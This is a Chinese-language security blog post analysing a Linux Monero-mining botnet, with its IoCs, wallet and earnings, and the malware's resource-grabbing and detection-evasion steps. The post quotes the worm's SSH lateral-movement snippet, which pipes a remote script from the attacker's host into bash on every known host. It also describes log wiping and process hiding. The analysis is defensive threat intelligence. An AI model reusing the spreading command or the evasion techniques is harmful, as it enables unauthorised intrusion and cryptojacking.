威胁快讯：一次僵尸挖矿威胁分析
<!--kg-card-begin: markdown--><p>友商发布了一个威胁分析 <a href="http://www.freebuf.com/vuls/175709.html">报告</a>，我们阐述一下从我们的角度看到的情况。</p>
<h4 id="">核心样本</h4>
<pre><code>hxxp://120.55.54.65/a7
</code></pre>
<p>核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：</p>
<ul>
<li>挖矿获利</li>
<li>确保资源</li>
<li>逃避检测</li>
<li>横向扩展</li>
</ul>
<h4 id="">挖矿获利</h4>
<p>具体的挖矿动作是由下面一组样本完成的：</p>
<ul>
<li>hxxps://www.aybc.so/ubuntu.tar.gz</li>
<li>hxxps://www.aybc.so/debian.tar.gz</li>
<li>hxxps://www.aybc.so/cent.tar.gz</li>
</ul>
<p>样本中的挖矿配置如下：</p>
<ul>
<li>矿池地址：xmr-asia1.nanopool.org:14433</li>
<li>钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7</li>
</ul>
<p>查矿池给付记录可知：</p>
<ul>
<li>累计收益：52.403617565491 XMR</li>
<li>当前算力：114,030.0 H/s</li>
<li>开始时间：2018-02-28 14:30:03</li>
<li>最近给付时间：2018-06-26 05:35:36</li>
</ul>
<h4 id="">确保资源</h4>
<p>核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：</p>
<ul>
<li><strong>杀进程</strong>：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd</li>
<li><strong>设防火墙规则</strong>：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157</li>
<li><strong>调整hosts</strong>：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等</li>
</ul>
<h4 id="">逃避检测</h4>
<p>核心模块采取了若干动作对抗检测，包括：</p>
<ul>
<li><strong>调整文件时间</strong>，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间</li>
<li><strong>隐藏进程</strong>：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目</li>
<li><strong>调整 ld.so.preload</strong>：按照友商的说法是隐藏进程</li>
<li><strong>调整dns服务器</strong>：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1</li>
<li><strong>对抗阿里云、云镜</strong>：调用 aliyun、yunjing的uninstall脚本</li>
<li><strong>删除日志和邮件</strong>：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root</li>
</ul>
<h4 id="">横向扩展</h4>
<p>检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7</p>
<pre><code>if [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE &quot;\b([0-9]{1,3}\.){3}[0-9]{1,3}\b&quot; /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  hxxp://120.55.54.65/a7 | bash &gt;/dev/null 2&gt;&amp;1 &amp;' &amp; done
fi
</code></pre>
<h4 id="ioc">IoC</h4>
<p>主要模块</p>
<pre><code>hxxp://120.55.54.65/a7	 AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
</code></pre>
<p>挖矿程序</p>
<pre><code>hxxps://www.aybc.so/ubuntu.tar.gz	
hxxps://www.aybc.so/debian.tar.gz	
hxxps://www.aybc.so/cent.tar.gz
</code></pre>
<!--kg-card-end: markdown-->
友商发布了一个威胁分析 报告，我们阐述一下从我们的角度看到的情况。


核心样本


hxxp://120.55.54.65/a7



核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：


 * 挖矿获利
 * 确保资源
 * 逃避检测
 * 横向扩展


挖矿获利


具体的挖矿动作是由下面一组样本完成的：


 * hxxps://www.aybc.so/ubuntu.tar.gz
 * hxxps://www.aybc.so/debian.tar.gz
 * hxxps://www.aybc.so/cent.tar.gz


样本中的挖矿配置如下：


 * 矿池地址：xmr-asia1.nanopool.org:14433
 * 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7


查矿池给付记录可知：


 * 累计收益：52.403617565491 XMR
 * 当前算力：114,030.0 H/s
 * 开始时间：2018-02-28 14:30:03
 * 最近给付时间：2018-06-26 05:35:36


确保资源


核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：


 * 杀进程：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd
 * 设防火墙规则：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157
 * 调整hosts：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等


逃避检测


核心模块采取了若干动作对抗检测，包括：


 * 调整文件时间，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间
 * 隐藏进程：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目
 * 调整 ld.so.preload：按照友商的说法是隐藏进程
 * 调整dns服务器：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1
 * 对抗阿里云、云镜：调用 aliyun、yunjing的uninstall脚本
 * 删除日志和邮件：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root


横向扩展


检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7


if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done
fi



IoC


主要模块


hxxp://120.55.54.65/a7	 AS37963 Hangzhou Alibaba Advertising Co.,Ltd.



挖矿程序


hxxps://www.aybc.so/ubuntu.tar.gz	
hxxps://www.aybc.so/debian.tar.gz	
hxxps://www.aybc.so/cent.tar.gz


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"友商发布了一个威胁分析 [报告](http://www.freebuf.com/vuls/175709.html)，我们阐述一下从我们的角度看到的情况。\n\n####核心样本\n```\nhxxp://120.55.54.65/a7\n```\n\n核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：\n\n - 挖矿获利\n - 确保资源\n - 逃避检测\n - 横向扩展\n\n#### 挖矿获利\n\n具体的挖矿动作是由下面一组样本完成的：\n\n- hxxps://www.aybc.so/ubuntu.tar.gz\n- hxxps://www.aybc.so/debian.tar.gz\n- hxxps://www.aybc.so/cent.tar.gz\n\n样本中的挖矿配置如下：\n\n - 矿池地址：xmr-asia1.nanopool.org:14433\n - 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7\n\n查矿池给付记录可知：\n\n - 累计收益：52.403617565491 XMR\n - 当前算力：114,030.0 H/s\n - 开始时间：2018-02-28 14:30:03\n - 最近给付时间：2018-06-26 05:35:36\n\n####确保资源\n核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：\n\n - **杀进程**：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd\n - **设防火墙规则**：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157\n - **调整hosts**：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等\n\n#### 逃避检测\n核心模块采取了若干动作对抗检测，包括：\n\n - **调整文件时间**，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间\n - **隐藏进程**：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目\n - **调整 ld.so.preload**：按照友商的说法是隐藏进程\n - **调整dns服务器**：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1\n - **对抗阿里云、云镜**：调用 aliyun、yunjing的uninstall脚本\n - **删除日志和邮件**：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root\n\n####横向扩展\n  检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7\n```\nif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then\n  for h in $(grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done\nfi\n```\n\n####IoC\n主要模块\n```\nhxxp://120.55.54.65/a7\t AS37963 Hangzhou Alibaba Advertising Co.,Ltd.\n```\n\n挖矿程序\n```\nhxxps://www.aybc.so/ubuntu.tar.gz\t\nhxxps://www.aybc.so/debian.tar.gz\t\nhxxps://www.aybc.so/cent.tar.gz\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}